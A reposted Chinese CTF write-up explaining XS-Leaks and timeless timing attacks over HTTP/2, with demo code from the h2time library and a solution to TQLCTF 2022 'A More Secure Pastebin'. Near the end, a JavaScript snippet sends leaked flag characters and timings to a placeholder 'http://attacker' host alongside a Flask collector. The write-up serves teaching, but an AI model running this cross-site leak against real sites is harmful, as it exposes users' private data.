本文首发于先知社区,转载请联系对方 原文链接:浅谈XS-Leaks之Timeless timing attck
- 1 XS-Leaks简介
- 1 什么是XS-Leaks?
- 2 XS-Leaks和CSRF的区别
- 3 XS-Leaks的利用原理和使用条件
- 2 网络计时攻击-network timing
- 1 传统的计时攻击
- 2 Timeless timing
- 1 原理
- 2 优点
- 3 题目讲解
- 简单示例
- [WCTF 2020]Spaceless Spacing
- HTTP/2的多路复用
- [TQLCTF 2022] A More Secure Pastebin
- 题目
- 解题
- 4 总结
- 5 拓展与延申
Cross-site leaks(又名 XS-Leaks、XSLeaks)是一类源自 Web 平台内置的侧通道的漏洞。他们利用网络的可组合性核心原则,允许网站相互交互,并滥用合法机制来推断有关用户的信息。
2 XS-Leaks和CSRF的区别XS-Leaks 和 csrf 较为相似。不过主要区别是 csrf 是用来让受害者执行某些操作,而xs-leaks 是用来探测用户敏感信息。
3 XS-Leaks的利用原理和使用条件浏览器提供了多种功能来支持不同 Web 应用程序之间的交互;例如,它们允许网站加载子资源、导航或向另一个应用程序发送消息。虽然此类行为通常受到 Web 平台中内置的安全机制(例如同源策略)的限制,但 XS-Leaks 会利用网站之间交互过程中暴露的小块信息。
XS-Leak 的原理是使用 Web 上可用的侧信道来探测有关用户的敏感信息,例如他们在其他 Web 应用程序中的数据、有关其本地环境的详细信息或他们连接到的内部网络。
设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=
,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。
这些侧信道的来源通常有以下几类:
- 浏览器的 api (e.g. Frame Counting and Timing Attacks)
- 浏览器的实现细节和 bugs (e.g. Connection Pooling and typeMustMatch)
- 硬件 bugs (e.g. Speculative Execution Attacks 4)
一般来说,想要成功利用,需要网页具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。
补充一下,侧信道(Side Channel Attck)攻击主要是通过利用非预期的信息泄露来间接窃取信息。
2 网络计时攻击-network timing 1 传统的计时攻击想象这样一个情景,受害者有权限访问一些报告,当受害者访问我们的网站,我们发出两个请求:
- 查询一个不可能存在的字符
- 查询一个需要确认是否存在的字符
当发现查询的时间有差异时,我们就能推断出这个字符存在于报告中的某个地方;同理,当两个请求返回的时间相同,说明该字符不在。
但现实环境并没有那么理想,根据29th usenix 上的这篇论文Timeless Timing Attacks: Exploiting Concurrency to Leak Secrets over Remote Connections,传统的基于时间的攻击主要受到以下一些因素影响:
- 基于攻击者与服务器间的网络因素
- 高的网络延迟会带来比较差的攻击效果。(尽管攻击者可以使用离目标服务器物理位置比较近的 VPS 或者同一个 VPS 供应商来解决这个问题)
- 网络延迟在上游下游都有可能产生
- 时间差是决定传统时间攻击是否能够成功的重要因素
- 例如监测 50 ms 就要比 5µs 要简单
- 需要大量的测试请求
一般来说判断延迟所需要的请求数量:

也就是说在这种情况下,我们可能需要发送成百上千的请求才能判断是否存在信息泄露,并且它仅仅只能判断一个字符。这不仅需要发送大量请求,而且在整个攻击过程中受害者需要持续访问我们的的网站以及一些其他的限制。
2 Timeless timing 1 原理在整个攻击流程中,我们想要知道的是查询所需要的时间,这个过程发生在服务端。而我们测量的地方在客户端,这中间会发生许多的网络交换,这个过程无法避免,因为我们不能直接在服务器上测量时间。
事实上,我们在意的并不是两个查询各自花费了多少时间,我们在意的是哪一个花费的时间更长!
这里我们假设有两个报文 A 、 B,后端服务器在接受到 A 时会产生延迟,接受到 B 时不会产生延迟,这篇论文主要通过以下方式解决了传统时间攻击的这些问题:
-
通过报文同时发出来尽可能使其同时到达来避免通信过程中产生的网络抖动影响(由于攻击者不能控制低层的网络协议,所以我们需要其他方法来让两个请求在同一个packet内)
-
这里可以有两个选择:多路复用以及报文封装
-
多路复用:可以通过 HTTP/2 并发流机制来达到这一个目的,使其尽可能在同一时间被发送并尽可能在同一时间到达。(比如 HTTP/2 与 HTTP/3 开启了多路复用,HTTP/1.1 并没有)其中尽量还要满足一个报文可以携带多个请求到达服务器这么一个条件
-
报文封装:这种网络协议可以封装多个数据流(例如 HTTP/1.1 over Tor or VPN)
-
-
-
通过测量两个报文的返回顺序来代替传统攻击中测量报文所需时间
- 对比 AB 两个报文哪一个先返回来判定哪一个受到了延迟,而不是通过测量哪一个报文用了多少时间
- 此时要求服务器、应用拥有并行处理的能力,目前大多数都可以满足这个要求
如果我们可以满足同时发出两个报文 AB 并且他们也同时到达,Timeless Timing 攻击需要做的就是重复多组发送报文的操作,并统计他们返回的先后顺序,如果服务器处理两个报文后没有产生延迟的现象,那么这两个报文会被立即返回,因为返回顺序不受我们控制,并且可能受到返程通信过程中的网络影响,所以返回的先后顺序概率为 50% 及 50% 。
如果服务器在处理 B 报文时会差生延迟现象,诸如比 A 要多进行一遍解密、查询等耗时的操作,那么 B 会比 A 要稍晚才能返回,这样一来,尽管响应报文在通信过程中仍然会受到一些影响,但是我们可以多次测量来统计这个概率,此时 B 比 A 先返回的概率回明显小于 50% ,于是我们可以通过这个概率来判断两个请求是否在服务器处理时产生了延迟。
并且论文当中也对比了传统时间攻击与 Timeless Timing 攻击之间的各自区分一定时间延迟所需要的请求:
还是可以很明显的看出timeless timing在同样探测精度下所需要的请求数量要少很多。
2 优点-
基于并发的Timeless timing attck不受网络抖动和不确定延迟的影响
-
远程的计时攻击具有与本地系统上的攻击者相当的性能。
在此之前我们可以先看一个demo
a starting point for our exploit: https://github.com/DistriNet/timeless-timing-attacks
我们可以使用仓库中给的示例代码:
from h2time import H2Time, H2Request
import logging
import asyncio
ua = 'h2time/0.1'
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger('h2time')
async def run_two_gets():
r1 = H2Request('GET', 'https://tom.vg/?1', {'user-agent': ua})
r2 = H2Request('GET', 'https://tom.vg/?2', {'user-agent': ua})
logger.info('Starting h2time with 2 GET requests')
async with H2Time(r1, r2, num_request_pairs=5) as h2t:
results = await h2t.run_attack()
print('\n'.join(map(lambda x: ','.join(map(str, x)), results)))
logger.info('h2time with 2 GET requests finished')
loop = asyncio.get_event_loop()
loop.run_until_complete(run_two_gets())
loop.close()
首先创建两个 H2Request 对象,然后将它们传递给 H2Time。当调用 run_attack() 方法时,客户端将开始发送请求对,并尝试确保两者同时到达服务器(每个请求的最终字节应放在单个 TCP 数据包中)。在第一个请求中,附加参数被添加到 URL 以抵消请求可以开始处理的时间差异(数字由 num_padding_params 参数定义 - 默认值:40)。
H2Time 可以在顺序模式下运行,它等待发送下一个请求对,直到收到前一个请求对的响应。当顺序设置为 False 时,所有请求对将一次发送,间隔为 inter_request_time_ms 参数定义的毫秒数。
返回的结果是一个包含 3 个元素的元组列表:
-
第二个请求和第一个请求之间的响应时间差异(以纳秒为单位)
-
第一个请求的响应状态
-
响应第二个请求的状态
如果响应时间的差异为负,这意味着首先收到了对第二个请求的响应。要执行 timeless 定时攻击,只需要考虑结果是肯定的还是否定的(肯定表示第一个请求的处理时间比处理第二个请求花费的时间少)。
该题目主要考察的是我们可以构造并同时发出 HTTP/2 报文,从而使得尽量满足同时发出同时到达的条件。由于两个请求同时运行而没有网络差异来影响我们的计时,我们可以简单地检查哪个响应首先返回。
HTTP/2的多路复用一般来说有http在传输时候有几种情况:
协议版本传输方式效果http1.0原始方式一个tcp只有一个请求和响应http1.1基础的keepalive复用同一个tcp,多个请求时,一个请求一个响应顺序执行http1.1pipeline模式复用一个tcp,多个请求时,同时发送多个请求,服务端顺序响应这几个请求,按照先进先出的原则强制响应顺序http2.0Multiplexing复用一个tcp,采用http2.0的封装,多个请求时,多个h2的帧,请求会并发进行处理,响应是乱序返回的(客户端根据帧信息自己会重组)由于 HTTP 1.X 是基于文本的,因为是文本,就导致了它必须是个整体,在传输是不可切割的,只能整体去传。 但 HTTP 2.0 是基于二进制流的。有两个非常重要的概念,分别是帧(frame)和流(stream)
- 帧代表着最小的数据单位,每个帧会标识出该帧属于哪个流。
- 流就是多个帧组成的数据流。
将 HTTP 消息分解为独立的帧,交错发送,然后在另一端重新组装。
- 并行交错地发送多个请求,请求之间互不影响。
- 并行交错地发送多个响应,响应之间互不干扰。
- 使用一个连接并行发送多个请求和响应。
简单的来说: 在同一个TCP连接中,同一时刻可以发送多个请求和响应,且不用按照顺序一一对应。
之前是同一个连接只能用一次, 如果开启了keep-alive,虽然可以用多次,但是同一时刻只能有一个HTTP请求。
有兴趣的可以看看题目环境[GitHub - ConnorNelson/spaceless-spacing: CTF Challenge ](GitHub - ConnorNelson/spaceless-spacing: CTF Challenge )
[TQLCTF 2022] A More Secure Pastebin题目考点:
- XS-Leaks
- Timeless Timing
- HTTP/2 Concurrent Stream
- TCP Congestion Control
理论基础:HTTP/2 并发流可以在一个流内组装多个 HTTP 报文;TCP Nagle 拥塞控制算法;在 TCP 产生拥堵时,浏览器会将多个报文放入到一个 TCP 报文当中。
实践题解:Post 一个 body 过大的报文让 TCP 产生拥堵,使得浏览器将多个 HTTP/2 报文放在一个 TCP 报文当中,通过 admin 搜索 flag 产生时间差异,使用 Timeless Timing 攻击完成 XS-Leaks 。
题目题目主要有两个对象:
- User 对象:拥有 username/password/webstie/date 属性
- Paste 对象:拥有 pastedid/username/title/content/date 属性
题目主要功能:
- 基础的用户注册登录功能
- 用户可以自行创建 Paste ;用户可以自定义自己的 website 属性
- 搜索功能:通过模糊匹配实现,但是用户传入的数据会被 escape-string-regexp 过滤。用户可以执行搜索自己的文章内容;Admin 用户则可以搜索所有用户的文章内容。
其中 admin 用户的搜索功能实现为:
const searchRgx = new RegExp(escapeStringRegexp(word), "gi");
// No time to implemente the pagination. So only show 5 results first.
let paste = await Pastes.find({
content: searchRgx,
})
.sort({ date: "asc" })
.limit(5);
if (paste && paste.length > 0) {
let data = [];
await Promise.all(
paste.map(async (p) => {
let user = await User.findOne({ username: p.username });
data.push({
pasteid: p.pasteid,
title: p.title,
content: p.content,
date: p.date,
username: user.username,
website: user.website,
});
})
);
return res.json({ status: "success", data: data });
} else {
return res.json({ status: "fail", data: [] });
}
也就是说 admin 用户搜索到对应的文章内容后,还会进一步找到对应的用户信息。
可以看到 admin 的搜索接口其实就比较符合这个背景。因为 admin 搜索接口在搜索到相关内容时,会进一步去查询 MongoDB 当中的用户信息,如果搜不到就会立马返回响应,这里就是 Timeless Timing 所需要测量的时间差值。并且我们知道 flag 就在 admin 的文章当中,所以我们只需要让 admin 查自己的文章是否包含我们查询的字符串,比如 flag{a
就能通过是否有时间延迟来测量出来了。
但是此时我们所处的背景环境是在浏览器当中,我们无法直接控制到报文的生成发送,这是进行 Timeless Timing 比较困难的地方。没办法控制报文同时发送就会让发出去的请求会因为各种网络抖动因素导致时间侧信道失效,所以怎么在浏览器的背景下利用 Timeless Timing 成了我们这个题目的最大的难点。
这里我们需要用到 TCP 拥塞控制,其实应该指的是 Nagle 算法 :
Nagle算法于1984年定义为福特航空和通信公司IP/TCP拥塞控制方法,这是福特经营的最早的专用TCP/IP网络减少拥塞控制,从那以后这一方法得到了广泛应用。Nagle的文档里定义了处理他所谓的小包问题的方法,这种问题指的是应用程序一次产生一字节数据,这样会导致网络由于太多的包而过载(一个常见的情况是发送端的"糊涂窗口综合症(Silly Window Syndrome)")。从键盘输入的一个字符,占用一个字节,可能在传输上造成41字节的包,其中包括1字节的有用信息和40字节的首部数据。这种情况转变成了4000%的消耗,这样的情况对于轻负载的网络来说还是可以接受的,但是重负载的福特网络就受不了了,它没有必要在经过节点和网关的时候重发,导致包丢失和妨碍传输速度。吞吐量可能会妨碍甚至在一定程度上会导致连接失败。Nagle的算法通常会在TCP程序里添加两行代码,在未确认数据发送的时候让发送器把数据送到缓存里。任何数据随后继续直到得到明显的数据确认或者直到攒到了一定数量的数据了再发包。尽管Nagle的算法解决的问题只是局限于福特网络,然而同样的问题也可能出现在ARPANet。这种方法在包括因特网在内的整个网络里得到了推广,成为了默认的执行方式,尽管在高互动环境下有些时候是不必要的,例如在客户/服务器情形下。在这种情况下,nagling可以通过使用TCP_NODELAY 套接字选项关闭。
简单来说,在 TCP 拥堵的情况下,数据报文会被暂时放到缓存区里,然后等后续数据到了一定程度才会被发送出去。按照这个理论,只要我们能够把 TCP 阻塞到一定程度即可让我们的报文放到缓存区中从而使得我们的两个搜索请求放到一个 TCP 报文当中了。
如何让 TCP 产生拥堵呢?在浏览器里我们能进行的操作并不多,最简单最直接的就是直接发送 POST 一个过大 body 的 HTTP 请求即可。
所以,到这里我们基本可以知道怎么去解题了。只需要提交一个页面链接,该页面会进行使用 JavaScript 进行以下操作:
- Post 过大的 body 到任意接受 POST 的路由进而阻塞整个 TCP 信道
- 使用两个
fetch
向搜索接口发送我们需要探测的字符串,此时系统检测到 TCP 信道存在阻塞,会将这两个请求放入到缓冲区,从而放入到一个 TCP 报文当中 - 使用
Promise.all
或者其他方法检测这两个 fetch 哪一个先被返回 - 重复以上步骤,每对字符串请求以 10 次或 20 次为一轮,统计每轮请求中对应字符的返回顺序优先关系得到概率,进行多轮(最好大于等于 4 轮)探测
- 根据我们得到的结果频率为依据判断我们探测的字符
from flask import Flask,render_template,request,
app = Flask(__name__)
@app.route('/')
def index():
word = request.args.get('word')
return render_template('index.html',word="TQLCTF{%s"%word)
@app.route('/result',methods=['GET'])
def check():
word = request.args.get('word')
ms = request.args.get('ms')
print('%s,%s'%(word,ms))
return "asd"
if __name__ == '__main__':
app.run(host="0.0.0.0",port=5001)
DOCTYPE html>
Document
const start = Date.now() //这里开始计时
//abc()会将加载时间计算好之后,连同测试字符一同发给result路由。
abc = () => {
const end = Date.now()
var req = new XMLHttpRequest();
req.open('get',`http://attacker/result?word={{word}}&ms=${end - start}`,true);
req.withCredentials = true;
req.send();
}
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?